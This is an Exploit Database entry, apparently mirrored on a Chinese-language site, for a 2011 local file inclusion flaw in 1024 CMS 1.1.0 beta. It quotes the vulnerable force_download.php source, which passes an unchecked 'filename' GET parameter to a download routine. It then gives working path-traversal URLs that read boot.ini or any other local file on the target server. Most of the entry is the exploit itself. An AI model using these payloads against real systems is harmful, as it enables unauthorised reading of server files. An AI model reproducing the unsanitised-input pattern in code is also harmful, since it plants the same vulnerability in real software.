1024 CMS 1.1.0 Beta – ‘force_download.php’ Local File Inclusion

• Exploit Database
• 16 阅读

• 作者： Sangyun YOO
  日期： 2011-10-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18000/

•  
  # Exploit Title: [1024 CMS Version 1.1.0 beta(/complete-modules/modules/forcedownload/force_download.php) Local File Inclusion Vulnerability]
  # Date: [2011/10/19]
  # Author: [Sangyun YOO][I2SEC]
  # Email: yoosy0302 at naver dot com
  # Software Link: [http://1024cms.org/]
  # Version: [1024 CMS Version 1.1.0 beta]
  # Tested on: [Windows 7 Starter K]
   
  ---------------------------------------
   
  source of force_download.php:
  1: <?php
  2 include(dirname(__FILE__)."/cls_forcedl.php");
  3: $filename = $_GET['filename']; <----------------- LFI
  4: $forcedl = new forcedownload();
  5: $forcedl->dlfile($filename);
  6: exit();
  6: ?>
   
  ---------------------------------------
   
  proof of concept:
  http://[attacked_box]/[1024cms v1.1.0 beta]/complete-modules/modules/forcedownload/force_download.php?filename=../../../../../../../../boot.ini
   
  http://[attacked_box]/[1024cms v1.1.0 beta]/complete-modules/modules/forcedownload/force_download.php?filename=../../../../../../../../[localfile]